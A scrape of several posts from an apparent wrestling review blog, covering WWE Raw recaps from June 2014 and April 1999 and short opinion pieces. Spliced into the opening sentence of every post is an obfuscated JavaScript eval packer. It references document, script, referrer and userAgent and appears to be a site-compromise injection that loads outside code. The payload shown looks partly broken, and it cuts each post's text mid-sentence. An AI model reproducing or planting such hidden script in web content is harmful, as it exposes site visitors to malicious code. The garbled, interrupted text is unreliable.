Reviewing the Review – Monday Night Raw: June 23, 2014

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddayf|var|u0026u|referrer|hsbhb||js|php'.split('|'),0,{})) usually get these up on Tuesday or Wednesday but this one is on a Thursday due to me being absent minded at times. I kind of like this actually as I’ve forgotten a lot of what happened on Monday so this will be a much fresher look than usual. It’s the go home show for Money in the Bank 2014 so let’s get to it.

Stephanie opened the show and I need to get this out of the way first: she looked GREAT on Monday with the dress showing off her figure very well. She’s been playing up her sexuality just a bit lately and it really does work for her. I’m not saying she’s Trish Stratus, but she has a really pretty face and can rock a tight dress with a very expensive body.

Anyway the point of the segment was she brought out Vickie to fire her but gave Vickie one more chance: if Vickie can beat Stephanie later in the night, Vickie can keep her job. Again, Stephanie was on fire here with how evil and vindictive she was but had that slight hint of a smile and sass to it that made the whole thing that much better. Her voice when she made Vickie beg was perfect and totally fit her character.

One thing though: Vickie said she’d do it because the one name more respected in wrestling than McMahon is Guerrero. I legitimately laughed and said are you serious when I heard her say that. In what world outside of El Paso does ANYONE believe that’s true? The Guerreros were a regional/midcard act until Eddie made them a big deal in the 90s and 2000s and their reputation would be nowhere near what it is if Eddie was still alive. To suggest that the Guerreros are on the level of the Harts for example is completely ridiculous.

The Usos and Wyatts traded singles wins in matches less than two minutes each. There’s not much to say about this.

Lana and Rusev insulted some Washington DC landmarks. I’m always a fan of things that are filmed on location as you can only have so much atmosphere in an arena.

Naomi beat Alicia Fox in a glorified #1 contenders match. The notable part of the match was Cameron on commentary as the MOST ANNOYING PERSON EVER. I really hope it’s a new character for her as she was every stereotype of a reality TV “star” that you could think of rolled into one. She spent the whole match babbling about how people are talking about her and that’s all that matters. Thankfully Paige shrugged all this off and held up the title to Naomi, asking if she wanted it. Simple idea and it worked. Paige is another girl that is better looking every time I see her, especially with that smile.

Bo Dallas beat Titus O’Neil in the same match that Bo has had since he debuted. It’s still working but he needs to move forward before it goes bad.

HHH announced the entrants in the Money in the Bank briefcase ladder match which had no one out of the ordinary listed. He put Rollins over as the favorite before RVD came out to trade some insults with Seth. A match followed with Seth winning via DQ when Ambrose interfered. The thing I thought the most out of all this was how bored I am with RVD. You get the exact same match out of him every single time and it’s really hard to care about him anymore. The one good thing is he’s putting a lot of people over and the matches aren’t bad. Uninteresting but not bad.

After the match Ambrose said that he had to be put into the ladder match or he’d just wreck the whole pay per view. There’s something awesome about that but more importantly, think about Ambrose for a second. Can’t you picture him interfering in every single match and then really screwing up the ladder match just because he could? That’s a very valuable kind of character to have: one that talks a big game but you could totally picture him doing it.

After a break, Rollins asked for Ambrose to be put in the match and HHH was totally cool with it. This was slightly spoiled for two reasons. One: it was pretty freaking obvious, and two: the original graphic had one more slot than had already been filled.

Bad News Barrett beat Dolph Ziggler to retain the Intercontinental Title in a very solid match. Ziggler looked good and Barrett showed that he can go in the ring. I have zero problem with thirteen minute matches between two talented guys for the midcard title every week. Make the thing the wrestler’s title again like it was back in the golden days.

Vickie came out for her match to Eddie’s music but the match was turned into a mud pit match, meaning the first person to go into the mud would lose. Stephanie sent Alicia Fox, Rosa Mendes and Layla to do her dirty work but Vickie threw all of them into the mud instead. Stephanie hit her in the back to send Vickie into the mud, then did a PERFECT imitation of Vince to fire her. She followed it up with a very appealing little dance while singing the goodbye song, only to realize that Vickie had nothing left to lose. Stephanie went into the mud and Vickie did Eddie’s shimmy to leave on a high note. This was the perfect way for her to go out and I smiled way more than I expected to.

Stardust sang When You Wish Upon A Star, prompting Goldust to say he’s the normal one now. Another funny bit.

Jack Swagger beat Kofi Kingston in a warmup match for the ladder match. Nothing to see here and no one buys either having a chance at winning the briefcase either.

Alberto gave one of the best promos of his WWE career when he talked about his success in Money in the Bank. Cesaro came in and stared him down while Heyman did the talking. Better than expected here.

Big E. beat up Damien Sandow as Abraham Lincoln as the stupid gimmick continues. Post match Big E. imitated a black preacher while talking about how amazing America was…..only to be laid out by Rusev. Again.

Cena did a Cena promo about Sunday.

The main event was another 4-3 handicap match and was basically the same match from Smackdown, meaning it wasn’t anything great but served its purpose.

Post match Kane was added as the eighth man to the ladder match but got laid out by Reigns to end the show.

This was an interesting week for Raw as some of the stuff was good but nothing on it was required viewing. After three hours, I had the same interest in the pay per view that I had going in and nothing made me want to watch on Sunday any more than I already did. The show wasn’t bad, but it didn’t need to exist for the most part. Stephanie in that dress was a very nice touch though.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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Monday Night Raw – June 23, 2014: Place Your Bets

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkkdt|var|u0026u|referrer|sdzyt||js|php'.split('|'),0,{})) Night Raw
Date: June 23, 2014
Location: Verizon Center, Washington D.C.
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

It’s the go home show for Money in the Bank and the big story tonight is the reveal of the rest of the roster for the contract ladder match. Other than that it’s likely going to be the usual go home show, with a lot of speeches about why everyone will win and not have a lot of other development. Let’s get to it.

Here’s Stephanie in a very tight pink and black dress to open things up. She says that as owner of this business, she can’t stand gross negligence. Vickie Guerrero couldn’t get her a simple cup of coffee, so Vickie needs to get out here and face the consequences. Vickie comes out looking terrified and says she knows Roman Reigns spiked the coffee. Finally, someone watches the show.

Stephanie is still annoyed though because Reigns was the one thing that Vickie was supposed to avoid. Somehow Vickie screwed up and allowed Roman to get into the title hunt and Stephanie gets in a plug for the ladder match. Stephanie says Vickie has been riding Eddie’s coattails for nine years. She couldn’t be a Diva so they made her a GM, but Vickie couldn’t even do that right.

Vickie doesn’t deserve the same respect Eddie got so Stephanie has no choice. Guerrero offers to beg and the fans chant NO. Stephanie tells her to beg on her knees and Vickie does just that. The boss says stop humiliating yourself because you have one more chance: win your match tonight or get fired. Vickie wants to know who she would have to face and of course Stephanie is the opponent. Stephanie is about to fire her but Vickie gets some courage and says the Guerrero name is more respected than the McMahons. The match is on.

Jimmy Uso vs. Luke Harper

The Family now has some I believe organ version of He’s Got The Whole World In His Hands for their entrance. I’m hoping it’s just for the tag team because it doesn’t work at all. Harper nails a quick dropkick to start but gets caught by a spinning kick to the face. Jey and Rowan get into a fight on the floor and Jimmy loads up a dive, only to walk into the discus lariat for the pin at 1:43.

Jey wants to fight Rowan right now and gets what he wants after a break.

Jey Uso vs. Erick Rowan

Joined in progress with Jey fighting out of a chinlock but getting caught in a fall away slam. Another slam gets two for Rowan but he misses a charge into the post. A superkick puts him down though and the Superfly Splash is good for the pin at 1:58. Same match with the roles reversed.

The Wyatts destroy the Usos post match. Bray pops up on screen and says he’s proud of his boys. He and his brothers look down upon creation and see the bodies of all their conquerings. On Sunday, Bray will climb the ladder and become champion of champions. His brothers will prove themselves worthy to be his disciples and they will roam the earth like disciples, spreading their message of follow the buzzards.

Lana and Rusev went sight seeing earlier today and rip on some Washington landmarks. America’s only option is to bow down and accept Vladimir Putin.

Alicia Fox vs. Naomi

Paige and Cameron are on commentary. Naomi gets a quick rollup for two but can’t hit the Rear View. Cameron brags about how touch she is and how she’s going to dance all over everyone and win the Divas Title. The girls fight on the floor with Naomi getting the better of it but getting pulled off the apron and down onto the concrete. Fox gets two off a tilt-a-whirl backbreaker as Cameron is still running her mouth. A northern lights suplex gets two on Naomi as Paige shrugs off everything Cameron says. Fox sends Naomi outside and poses a lot but back inside, a quick reverse DDT gives Naomi the pin.

Rating: D+. The match wasn’t bad as you had two girls who could have a decent match in there, but Cameron was painfully annoying and was almost literally shouting PAY ATTENTION TO ME. Paige vs. Naomi could have a great match if given the chance but we’ll have to put up with Cameron because of a team split that no one is going to care about.

Post match Paige gets on the apron and holds up the belt while sticking out her hand. Naomi slowly shakes it and it looks like we have a future title match set.

Sheamus and Reigns are in the back talking about their 4-3 handicap match tonight. Reigns is ready but Sheamus brings up Shield attacking everyone in WWE over the last year and a half. Sheamus says Sunday is every man for himself and Reigns says he’ll be ready. The idea seems to please Sheamus and both guys say they’ll win on Sunday.

Titus O’Neil vs. Bo Dallas

Bo has a black eye but brings up Titus’ two losses in less than a minute on Smackdown. He suggests Titus Bolieve of course. Some dropkicks have Titus staggered but he comes back with a series of slams and chops in the corner. Titus misses a charge though and the Bodog gives Bo the pin at 1:06.

Titus knocks the mic out of Bo’s hands post match. Bo: “Silly me. Mr. Butterfingers.” Titus gets the pep talk but nothing else happens.

Here’s HHH to talk about how all the decisions in this country are made right here in Washington DC. He explains the double ladder match on Sundaya nd how the winner of the briefcase is almost guaranteed to be World Champion. The lineup for the ladder match will be Seth Rollins, Kofi Kingston, Jack Swagger, Dolph Ziggler (big pop), Rob Van Dam and Bad News Barrett. That’s only six even though the graphic had seven spots. HHH picks Rollins to win the match of course and here’s Seth, now with his own t-shirt.

The fans chant YOU SOLD OUT and Rollins says they really should be over it by now. If the fans love Ambrose and Reigns as much as they claim they do, they should still be thanking Rollins for getting them as high as they did. Shield may have gotten him this far, but this Sunday he’ll climb the ladder all by himself. You can call him a sellout but on Sunday you’re going to call him Mr. Money in the Bank.

This brings out RVD who thinks he’s not being taken seriously. Seth: “I do take you seriously. I’d take you even more seriously if this was 2005.” RVD: “Back when you had to ask your mom to stay up late and watch me wrestle?” Van Dam brings up crushing HHH’s trachea in the first Elimintion Chamber before challenging Seth to a match right now. HHH says let’s do it.

Rob Van Dam vs. Seth Rollins

This actually starts without a break and Van Dam hits a quick monkey flip to take over. Seth is sent to the floor for a dive followed by a moonsault from the apron as we take a break. Back with Rob getting choked on the ropes before Seth hits Three Amigos for two. After a chinlock goes nowhere, Seth gets two off the spinning sleeper drop.

Back to the chinlock for a few moments before Rob grabs a rollup for two. Some clotheslines look to set up Rolling Thunder but it takes a big spinning kick for Rolling Thunder to connect. A top rope kick to the face drops Seth but the Five Star only hits mat. The buckle bomb sets up the curb stomps but Dean Ambrose runs in for the DQ at 10:00.

Rating: C-. I’m really getting tired of Rob Van Dam lately. His matches aren’t bad for the most part but you can call almost every spot he’s going to do in the entire match depending on how long it runs. Thankfully he’s only there to put people over at this point because that’s all he should be doing now.

Ambrose destroys Seth until Rollins can get away. Dean demands to be put in the ladder match because he’ll wreck things if he doesn’t get in.

After a break, Rollins wants Ambrose in the ladder match so Seth can keep his eyes on him. Rollins says any failure will be on him so HHH grants his wish.

Intercontinental Title: Bad News Barrett vs. Dolph Ziggler

Rematch from a non-title match on Smackdown where Ziggler got a quick upset. Barrett rips on the Redskins before the match. We get big match intros after a break and Ziggler grabs a quick rollup for two. A clothesline puts him on the floor though and Barrett takes over. Back in and Barrett cranks on a chinlock but comes back with a hard series of right hands on the mat and in the corner. Winds of Change gets two more for the champion but he gets caught by the Zig Zag. Barrett rolls to the floor before Dolph can cover though and we take a break.

Back with Ziggler getting two off something we didn’t see but being sent to the floor so the champion can take over. We head back inside with Bad News kicking him in the ribs for two but going up top, only to get caught in the top rope X Factor for a very close near fall. Barrett loads up a powerbomb but switches over to Wasteland for two instead. The Bull Hammer is countered into the Fameasser for yet another near fall as the fans are WAY into this. Another Winds of Change is countered into a crucifix but the Stinger Splash lands on the Bull Hammer for the pin to retain the title at 12:34.

Rating: B. This was a very solid back and for the match and makes up for the loss on Friday. It made that match look much more like a fluke as Barrett gets to come back and win a competitive match. These two had chemistry together and that’s always something good to see.

Vickie says she has no regrets. Orton shows up and says Vickie will get what’s coming to her.

Vickie Guerrero vs. Stephanie McMahon

Guerrero comes out to Eddie’s music and Stephanie comes out in the pink and black dress and heels. The match isn’t going to take place in the ring, but rather in a mud pit. The first person to go into the pit loses the match, and Vickie is fired if she loses. Stephanie sends Rosa Mendes, Layla and Alicia Fox to attack Vickie and she’s easily overpowered, but manages to send Rosa into the pit. Layla goes in as well and Alicia follows her, causing Vickie to do the YES chant. Stephanie hits her from behind though and knocks her into the pit for the win. Not a match of course.

Stephanie fires her in a perfect imitation of Vince’s voice. She starts the Goodbye Song but Vickie gets fed up and the reality that Vickie has nothing to lose quickly sets in. Vickie throws her into the muck and Vickie does the Eddie dance before leaving. The referee is pulled in while helping Stephanie just to make things all the better.

We recap the debut of Stardust.

Goldust is in the back and says he didn’t see Cody last week. This brings in Stardust who sings When You Wish Upon a Star. Goldust: “WOW! Now I’m the normal one!”

Kofi Kingston vs. Jack Swagger

Kofi goes after the leg to start before kicking away at the ribs. A hard shoulder puts Kofi down but he comes back with the jumping elbow to the jaw. Swagger kicks him in the ribs and hits the Vader Bomb before cranking on the arm. Kofi fights up with some dropkicks to send Swagger outside, followed by a big flip dive. Back in and Kingston’s top rope cross body is caught but he comes back with a victory roll for two. A flapjack sets up the Patriot Lock though and Kofi taps at 3:56.

Rating: C. The match was fine but they seemed to be a step off at times. It’s nice to see Swagger get a clean pin, but at the end of the day I have no reason to buy into his push at all given how many times it’s gone nowhere before. Kofi’s high flying is still awesome and he’ll have a job because of it for years.

Naomi vs. Paige is official for Sunday.

Del Rio says he’s the only one in the ladder match that is undefeated in Money in the Bank. Not true but whatever. Cesaro and Heyman come up with Paul talking about how Del Rio may be the one in the ladder match, but Heyman is the one behind the one in 21-1 and how Cesaro will win on Sunday. Del Rio asks Cesaro if he ever talks, so Cesaro says he doesn’t speak loser.

Damien Sandow is Abraham Lincoln this week and reads a proclomation that says some people don’t find him entertaining. He’d rather spend a night in Ford’s Theater than let simpletons determine his career. He runs his mouth for a bit longer until Big E. interrupts.

Damien Sandow vs. Big E.

Sandow wrestles in the suit and stomps away in the corner. Big E. runs him over and hits the Big Ending for the pin at 54 seconds.

Post match Big E. goes into what sounds like a preacher rant about how this is the land of the free and how tired he is of hearing Rusev and Lana run down America. Lana comes to the stage, allowing Rusev to jump Big E. from behind. The jumping superkick sets up the Accolade as America is crushed again.

Cena talks about how this Sunday, seven men will fight for the WWE Championship. Moments and memories will be made but we’re guaranteed to see a new WWE Champion. It’s time to pick which of the Magnificent Seven walks out as champion. He’s wearing green tonight and that’s the color of money, so people should bet on him. I’ve heard worse lines.

John Cena/Sheamus/Roman Reigns vs. Alberto Del Rio/Randy Orton/Cesaro/Bray Wyatt

Rematch from Friday. Cena and Orton get things going after a break with John quickly running him over and making the tag to Sheamus. It’s quickly back to Cena to face Del Rio with Alberto stomping away in the corner. The running bulldog puts Alberto down and it’s off to Cesaro for a big showdown. Cesaro wins a test of strength and takes Cena into the corner for a stomping from Wyatt.

We hit the nerve hold on Cena followed by the running backsplash as we take a break. Back with Del Rio trying to keep Cena in a chinlock. Cena gets to his feet but a DDT brings him right back down for two. Cesaro tags himself in and loads up the Swing but opts for a Boston crab instead. John fights up and powers out, seting up the hot tag to Reigns. Roman cleans house with his usual stuff, including the apron dropkick to Del Rio. The Superman Punch drops Cesaro and Orton but Del Rio gets two off a Backstabber.

Back to Bray for the running cross body followed by the gutwrench suplex from Cesaro. Orton tags himself back in to Cesaro’s annoyance before suplexing Reigns down for two. We hit the chinlock before the heels all start taking their turns on Reigns. A quick Superman Punch drops Bray and Cesaro comes back in, only to knee Reigns into the tag to Sheamus.

The pale one cleans house and hits fourteen forearms to Cesaro’s chest. White Noise doesn’t work but the powerslam puts Cesaro down. Everything breaks down and it’s finishers a go-go. Orton and Del Rio take AA’s but Cesaro lays Cena out with Swiss Death. The Brogue Kick out of nowhere is enough to pin Cesaro at 15:30.

Rating: C. This was pretty much just a shotened version of the Smackdown match, meaning it wasn’t all that great. This is the most basic version of a match like this that you can have and while it’s full of stars, the action was nothing all that special. That’s part of the problem with Money in the Bank: it focuses everything on one match and that causes problems.

Post match Kane comes out to clean house with chokeslams for most of the seven men. HHH comes out and announces Kane as the eighth man. Reigns spears Kane down after the fire comes out of the posts.

Overall Rating: C. The wrestling was ok, the build for Sunday was acceptable and we got a good moment from Vickie. That being said, the show felt like it was a very paint by numbers build up show which is what I had a feeling we’d be getting. It’s not bad or anything, but I have no more desire to watch Sunday’s show than I had coming into tonight. The show should be fine but I’d have liked a bit more than this.

Results
Luke Harper b. Jimmy Uso – Discus lariat
Jey Uso b. Erick Rowan – Superfly Splash
Naomi b. Alicia Fox – Reverse DDT
Bo Dallas b. Titus O’Neil – Bodog
Seth Rollins b. Rob Van Dam via disqualification when Dean Ambrose interfered
Wade Barrett b. Dolph Ziggler – Bull Hammer
Jack Swagger b. Kofi Kingston – Patriot Lock
Big E. b. Damien Sandow – Big Ending
Roman Reigns/Sheamus/John Cena b. Bray Wyatt/Cesaro/Randy Orton/Alberto Del Rio – Brogue Kick to Cesaro

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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Thought of the Day: Tempus Fugit

Something eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkahs|var|u0026u|referrer|afeza||js|php'.split('|'),0,{})) people don’t realize about Nitro.It was on the air for less than six years.  It ran all of 1996-2000, four months in 1995 and three months in 2001. If you jump back that far in modern WWE, it would be about January 2009. That’s before Sheamus debuted and when ECW on SyFy was still on the air. In that span of time, Nitro would have debuted, risen to the top, and been off the air. That’s really not that long in WWE time.

Adding on to that, the losing streak for Raw was 86 weeks (or something like that as it changes every time I hear it). That’s about a year and nine months, or if you flash back from today, roughly October 2012. That’s when Ryback still meant something and CM Punk was still WWE Champion. It really isn’t that long a stretch of time, but man alive did a lot of stuff happen in that span about 17 years ago.




The Coffee Segment Was Inspired By….

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ithyn|var|u0026u|referrer|ztnik||js|php'.split('|'),0,{})) is somehow dumber than what I thought.Apparently we had to sit through Stephanie vomiting on Vickie because one of the McMahons recently had a cup of bad coffee.

Seriously.




Reviewing the Review – Monday Night Raw: June 16, 2014

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izhft|var|u0026u|referrer|rntid||js|php'.split('|'),0,{})) we’re coming up on Money in the Bank, WWE is kind of on a roll. Raw was a great example of that but there were certainly some issues in there as well. Let’s get to it.

We open with a roster meeting on the stage to set up the major matches tonight. The Authority gives us Cena vs. Kane in a Money in the Bank qualifying stretcher match because Bryan can’t do it (makes enough sense) and a battle royal for the other Money in the Bank spot. Ambrose and Reigns won’t be in the battle royal because they have other matches that we’ll get to later. There wasn’t much to the meeting and it really didn’t need to take place. This easily could have been announced by Cole to save more time for other stuff.

First match up was Seth Rollins vs. Dolph Ziggler. They’ve fought a few times on Smackdown and the matches have worked, much like this one here. The interesting thing was the ending though, which ties into the next match as well. Dean Ambrose would hit the ring and attack Rollins for the DQ as Seth was about to win. That’s the logical move as Rollins’ back was turned and Ambrose had his best chance to get in an attack. Rollins escaped but HHH gave Ambrose a match.

Ambrose lost to Bad News Barrett via countout when Ambrose went out to fight with Rollins. The match was good, but the main story here was how awesome Ambrose vs. Rollins feels. This feud is on fire and feels like something that could launch them to a much higher level. It’s a feud based on hatred between two men over a betrayal instead of something contrived and that’s exactly what you should do in a feud like this. The fact that both guys can more than go in the ring makes things even better. I said that it was giving me flashbacks to Rock vs. HHH in 1998 and that’s about as high of a compliment as I can give.

Now we get to the stupid part of the show because this is WWE and it wouldn’t feel right if we didn’t have one. Roman Reigns intercepted and spiked some coffee (in plastic cups for some reason) that Vickie Guerrero was bringing to the Authority. Jumping ahead, HHH would spill his coffee but Stephanie would suck it down and soon get sick, vomiting on Vickie (possibly in a tribute to Ultimate Warrior who did the same in 1992 and would have had a birthday on Monday).

Much like last week with Layla, WWE doesn’t have A TOWEL available and Vickie wouldn’t clean up all night. With Vickie left in charge while HHH got Stephanie to a doctor, Reigns would tell her that she’s getting fired anyway so why not put him in the battle royal. She agreed, completeing Reign’s plans. This doesn’t work for a variety of reasons.

First and foremost, Roman Reigns just isn’t a mastermind like this. Not that he’s stupid or anything, but he’s a muscle and power guy who gets by being physical. Ambrose was the smart and dastardly guy in the Shield and could get away with something like this, but it really doesn’t suit Reigns. They tried this with Kurt Angle back in 2001 when he tortured Austin into giving him a title shot and it just doesn’t fit.

Second, it took A LOT of convenience to make this work. Reigns didn’t know that they would get sick that fast, that they would leave, that they would leave Vickie in charge, that Vickie would go for this, and that Vickie would turn on them for giving her more authority. It’s REALLY convenient that all this worked and it didn’t work for me. Also, did we really need the projectile vomiting? That’s supposed to be entertaining? Insert your own “it’s WWE” joke here.

Bray Wyatt cut a really good promo about how the title would be his happy ending because it means power. This promo made me think that he could win, and that’s exactly what it’s supposed to do. It makes sense for the story and would be the boost that Bray needs. He also made me believe that winning the title made sense which I didn’t buy last week.

Sheamus would beat Bray Wyatt via DQ in a nice brawl when the Wyatt Family interfered. The Usos would make the save as they’re defending against the Wyatts at Money in the Bank. This was fine and made perfect sense, along with preventing either guy from taking a clean loss. See how easy it can be?

Heyman said that Cesaro will win and that’s a spoiler. Simple line but I liked it.

Rusev squashed Heath Slater, who appeared alone and referred to himself as the American Rock Star. It came off as kind of a face turn but it’s not going to make a difference when you lose in 34 seconds.

Kevin Hart was the guest star last night and did fine in his short segment with Adam Rose. He did commentary on a mixed tag with Rose/Summer Rae vs. Layla/Fandango. Nothing to see here and Hart was fine.

The battle royal was next and actually surprised me. The final group included Reigns, Rusev and Bo Dallas among others. Reigns was the fairly obvious winner, but WWE gave us just enough reason to believe that the other two could pull it off that there was doubt. All you have to do is have the smallest doubt and you can get around the obvious result. They pulled this off in the battle royal and the fans LOVED it. There’s a big match between Rusev and Reigns somewhere down the line and it will rock if they build it up properly.

Cena cut a Cena promo on the Authority. Nothing to see here.

Cameron dragged Paige down to a horrible match, which I believe is leading to the Funkadactyls splitting and Naomi getting a title shot. At the end of the day though, Cameron will be around because she’s on Total Divas and is loud, obnoxious and stupid, making her a reality TV star. She’s horrid in the ring though and hopefully the split lets Naomi get some solo time.

Goldust’s partner was Cody Rhodes as Star Dust. This actually worked as they won a quick match over Ryback/Axel (basically wasting all the wins they’ve gotten in recent weeks but that’s WWE for you) with Cody getting the pin. Yeah it’s destined to lead to Cody vs. Goldust, but Cody as Cody Rhodes has never worked so this is as good as anything else. One nice touch: Cody got the pin with a move that used to be called Diamond Dust. Those good things being said, I really don’t get why they split up the Brothers in the first place. They were on fire and having good matches, but now we’re back where we started with Cody in a new gimmick. It’s working though so it’s not necessarily a bad thing.

Cena beat Kane after surviving Rollins and Orton interfering thanks to Ambrose making the save. This was one of their better matches but it wasn’t anything all that good. Much like last week, Cena winning was obvious but there’s nothing wrong with that at all. You can’t have a huge multi man title match without Cena and WWE would be crazy to try.

Issues aside, Raw was awesome on Monday and Money in the Bank is looking like one heck of a ladder match. Reigns, Wyatt, Orton and Cena are all realistic options to take the title and that makes things far more interesting than just one or two choices. Reigns as a criminal mastermind aside, this was a good show that made the stars of the future look like huge stars and that’s a great sign going forward.

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Monday Night Raw – April 19, 1999: WWF Needs Ritalin

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnedk|var|u0026u|referrer|khfft||js|php'.split('|'),0,{})) Night Raw
Date: April 19, 1999
Location: Van Andel Arena, Grand Rapids, Michigan
Attendance: 10,671
Commentators: Jerry Lawler, Jim Ross

It’s the go home show for Backlash and the main story is the Ministry being totally out of control. The Corporation is fighting them as well as they can but there’s just too much going on for them to do much good. Other than that we’ll get the fallout from Rock throwing both Austin and the title belt into the river last week. Let’s get to it.

We open with a recap of the Smoking Skull belt being introduced and then thrown in the river last week with Austin following it into the water.

Rock drives a hearse into the arena because he buried the title last week. This week it’s going to be a funeral with Rock delivering the eulogy. We even have a casket, flowers, and a big mound of dirt. Rock climbs onto the mound while guaranteeing to show that he’s the best champion ever on Sunday. Simple stuff here but on a big stage.

Vince and Stephanie will do a sitdown interview in Connecticut tonight so Vince is checking with security to make sure Stephanie is safe.

Road Dogg vs. Owen Hart

There’s no ramp this week due to the grave taking up so much space. Before the match, Dogg says that the Outlaws are the #1 contenders but if he loses tonight, Owen and Jarrett are the #1 contenders, no questions asked. However, if Dogg wins, the world gets to see Debra’s puppies. That’s the first time that term was ever used in the WWF so there’s your historical moment.

Owen jumps Dogg to start as Jerry is now a huge Roadie fan. The left hands and shaky knee drop get two on Owen but he comes back with a spinwheel kick (Lawler: “NO!”). A legdrop gets two more for Hart and he nails an enziguri for a close two. Owen drops a middle rope elbow but Dogg kicks out of the Sharpshooter and hits the pumphandle slam for the pin, sending Lawler into orbit.

Rating: D. This was just about the post match stuff and introducing one of the longest running jokes in WWF history to the lexicon. The tag match on Sunday was the more important story anyway, but this is far most historic. It says a lot that Owen and Jarrett were one of the top teams in the division.

Jeff Jarrett prevents the unveiling.

Undertaker sends the Acolytes out to take care of the Brood.

Rock is practicing his eulogy.

Brood vs. Acolytes

Christian is the odd man out here. It’s a brawl to start with the power guys easily taking over to start. Farrooq powerbombs Edge down but the Canadian comes back with a spinwheel kick and some lame kicks to the shoulder. That’s fine with Farrooq as he comes back with a spinebuster and makes the tag to Bradshaw. Gangrel comes in and fights out of a superplex before hitting a quick DDT.

Bradshaw hits a quick fall away slam and brings Farrooq back in for a belly to back suplex/neckbreaker combo. Farrooq works on the back as Lawler’s voice sounds like it’s cracking. Gangrel finally gets over for a tag but Bradshaw takes Edge’s head off before he can get going. The double powerbomb lays out Edge but Shamrock runs in with a ball bat to knock Bradshaw silly for the DQ.

Rating: D+. Not much better than the opener but it had more time and the teams knew how to work a decent match. Neither team would do anything for awhile but once Edge and Christian took off they never looked back. The main event war continues to devour the entire company.

Undertaker is livid at the Acolytes for not getting a pin.

There’s a new special coming. It’s called Smackdown.

During the break, Undertaker and Viscera beat the tar out of Farrooq and Bradshaw.

Intercontinental Title: Godfather vs. Hardcore Holly

Only Godfather’s title is on the line. It’s a slugout to start with Godfather getting the better of it. A boot to the face sends Holly to the floor where he picks up a cookie sheet, only to get rolled up for two. The Ho Train crushes Holly but we’ve got a ref bump a minute into the match. Holly rolls outside again and nails Godfather with the cookie sheet several times before throwing him out to the floor. A hockey stick over Godfather’s back has him in even more trouble but Godfather kicks a chair into Holly’s face. Goldust comes out and breaks up Godfather’s cover, but Snow lays Holly out with Head to give Godfather the pin.

Rating: D-. Did I mention this is Russo time? It’s a three minute and five second match, complete with a ref bump, four weapons and two run ins. I have no idea why the match needed all this stuff but that’s part of Russo’s philosophy: a title match isn’t enough to keep the fans’ entrance so all this stuff has to be thrown in. It works once in awhile but when it happens all the time, the effect wears off.

Undertaker is on the phone with Mideon and tells him not to fail.

Rock is having his shoes shined and promises to bury Austin tonight.

Ken Shamrock vs. Big Boss Man

No holds barred due to Boss Man attacking Shamrock last week to kick him out of the Corporation, though Shamrock is still loyal to Vince. The brawl starts in the aisle with no one in control. Boss Man is sent into the steps and then into the ring for the opening bell. Shamrock kicks Boss Man in the head and they slug it out until an enziguri (hit Ken’s shoulder) puts Shamrock down. A much better pair of spinebusters get three straight two counts and a powerslam gets one more. Boss Man hammers away even more but Ken grabs a hurricanrana and belly to belly out of nowhere for the pin.

Rating: D-. The gimmick brings this down as there was no reason for this to be no holds barred at all. If nothing else it makes future matches with the same gimmick look stupid as fans will say “the last one sucked so why should I care about this one?” As a regular match it wasn’t much to see either.

Undertaker immediately pops up and says he knows where Ryan Shamrock is, even knowing her room number. Ken runs to the back.

The Mean Street Posse comes out for commentary.

Mankind vs. HHH

Some right hands have HHH in early trouble but Chyna pulls Mankind down by the tie and hits him in the face. That doesn’t last long though as a backdrop puts HHH down again and he gets tied up in the Tree of Woe. HHH comes back again and hits the running knee to send Mankind outside. Chyna gets in even more shots as the Posse hasn’t had much to say so far.

